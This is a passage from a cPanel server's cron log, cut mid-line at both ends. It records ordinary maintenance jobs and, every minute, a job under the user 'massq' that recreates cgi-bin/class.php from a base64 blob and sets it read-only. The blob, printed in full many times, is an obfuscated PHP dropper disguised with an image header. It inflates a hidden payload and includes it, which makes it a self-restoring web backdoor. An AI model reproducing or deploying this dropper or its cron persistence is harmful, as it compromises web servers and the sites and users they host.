FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:00:01 server CROND[11607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 21:00:01 server CROND[11608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:00:01 server CROND[11609]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 21:00:01 server CROND[11610]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 21:01:01 server CROND[11729]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 21:01:01 server CROND[11730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:01:01 server run-parts(/etc/cron.hourly)[11729]: starting 0anacron
Apr 11 21:01:01 server run-parts(/etc/cron.hourly)[11742]: finished 0anacron
Apr 11 21:02:01 server CROND[11791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:03:01 server CROND[11848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:04:01 server CROND[11899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:05:01 server CROND[12012]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 21:05:01 server CROND[12013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:05:01 server CROND[12014]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 21:05:01 server CROND[12015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 21:06:01 server CROND[12175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:07:01 server CROND[12238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:08:01 server CROND[12287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:09:01 server CROND[12332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:09:01 server CROND[12333]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 21:10:01 server CROND[12385]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 21:10:01 server CROND[12386]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 21:10:01 server CROND[12388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 21:10:01 server CROND[12389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:11:01 server CROND[12592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:12:01 server CROND[12650]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 21:12:01 server CROND[12651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:13:01 server CROND[12697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 